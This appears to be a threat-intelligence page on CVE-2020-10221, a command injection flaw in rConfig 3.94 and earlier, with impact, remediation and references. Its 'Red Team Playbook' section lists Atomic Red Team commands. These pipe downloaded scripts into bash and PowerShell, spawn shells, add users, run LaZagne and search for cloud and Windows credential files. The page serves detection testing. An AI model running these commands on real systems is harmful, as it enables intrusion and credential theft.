CVE-2020-10221
Overview
This vulnerability is a command injection flaw rooted in improper input validation of user-supplied data. The affected component is the ajaxAddTemplate.php script within the lib/ajaxHandlers directory of rConfig versions up to 3.94. The root cause is the unsanitized use of the fileName POST parameter, which allows shell metacharacters to be interpreted by the operating system shell, enabling arbitrary command execution.
Vulnerability Description
lib/ajaxHandlers/ajaxAddTemplate.php in rConfig through 3.94 allows remote attackers to execute arbitrary OS commands via shell metacharacters in the fileName POST parameter.
Impact
An attacker with the ability to send authenticated POST requests can execute arbitrary operating system commands on the server hosting rConfig. This capability enables full system compromise, including data exfiltration, service disruption, and lateral movement within the network. The exploit requires only a low-privileged user account to trigger, making it feasible in environments where such credentials are accessible. Successful exploitation undermines the confidentiality, integrity, and availability of affected systems and data.
Solution
Users should upgrade rConfig to a version later than 3.94 where this vulnerability is addressed. Refer to the advisory and remediation details at https://engindemirbilek.github.io/rconfig-3.93-rce for patch instructions and mitigation guidance. No official vendor advisory ID is provided, but the GitHub repository linked contains patch information and recommended code changes to sanitize input parameters and prevent command injection.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the rConfig application arises from improper handling of user input within the ajaxAddTemplate.php file. Specifically, the application fails to adequately sanitize the fileName parameter in POST requests, allowing attackers to inject shell metacharacters. This oversight can lead to arbitrary command execution on the server, as the application may directly pass the unsanitized input to the underlying operating system's shell. The severity of this vulnerability is underscored by its high CVSS score of 8.8, indicating a critical risk that can be exploited with relative ease by remote attackers.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a malicious POST request that includes specially crafted input in the fileName parameter, embedding shell commands that the server would execute. For example, an attacker might attempt to read sensitive files, manipulate system configurations, or even establish a reverse shell for persistent access. The simplicity of this attack—requiring only the ability to send HTTP requests—makes it particularly concerning, as it does not necessitate advanced skills or extensive resources. Furthermore, the lack of proper authentication or authorization checks in the affected component may allow unauthenticated users to exploit this vulnerability, broadening the attack surface significantly.
The real-world impact of this vulnerability can be profound, especially for organizations relying on rConfig for network configuration management. Successful exploitation could lead to unauthorized access to sensitive data, including configuration files and credentials, potentially compromising the entire network infrastructure. Additionally, attackers could leverage this vulnerability to deploy malware, disrupt services, or pivot to other systems within the network. The business risks associated with such incidents include financial losses, reputational damage, and regulatory penalties, particularly if sensitive customer data is exposed. The potential for widespread disruption and the costs associated with incident response and recovery further exacerbate the threat posed by this vulnerability.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, regular security assessments, including vulnerability scanning and penetration testing, can help identify instances of this and similar vulnerabilities in the application. Additionally, employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests before they reach the application. On the development side, it is crucial to adopt secure coding practices, such as input validation and output encoding, to prevent command injection vulnerabilities. Updating the application to the latest version, where this vulnerability has been addressed, is also essential to ensure that known security flaws are patched.
In conclusion, the vulnerability in rConfig presents a significant threat to organizations utilizing this application for network management. The ease of exploitation, coupled with the potential for severe consequences, necessitates immediate attention from security teams. By employing robust detection and mitigation strategies, organizations can safeguard their systems against such vulnerabilities and reduce the associated risks to their operations and data integrity.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2020-10221, indicating renewed adversary interest in this rConfig vulnerability. While the EPSS score has decreased notably, suggesting a reduced likelihood of widespread exploitation in the near term, our telemetry reveals a sharp uptick in detection activity, signaling active probing or targeted campaigns. This divergence underscores that despite a lower overall probability of exploitation, threat actors are still actively leveraging available proof-of-concept exploits to compromise vulnerable rConfig instances. For defenders, this means that the vulnerability remains a relevant and immediate risk, particularly in environments where patching has lagged or where exposure is unmitigated. The current threat landscape reflects a persistent exploitation effort that could facilitate unauthorized remote code execution, emphasizing the need for continued vigilance despite the downward trend in EPSS scoring.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Rconfig | Rconfig | All |
cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| rConfig 3.93 - 'ajaxAddTemplate.php' Authenticated Remote Code Execution | Engin Demirbilek | webapps | php | - | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
48%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-10221 |
| cwe.mitre.org |
GitHub CVE
x_refsource_MISC
|
https://cwe.mitre.org/data/definitions/78.html |
| engindemirbilek.github.io |
GitHub CVE
x_refsource_MISC
|
https://engindemirbilek.github.io/rconfig-3.93-rce |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/EnginDemirbilek/EnginDemirbilek.github.io/blob/master/rconfig-3.93-rce.html |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/156687/rConfig-3.93-Authenticated-Remote-Code-Execution.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-10221 |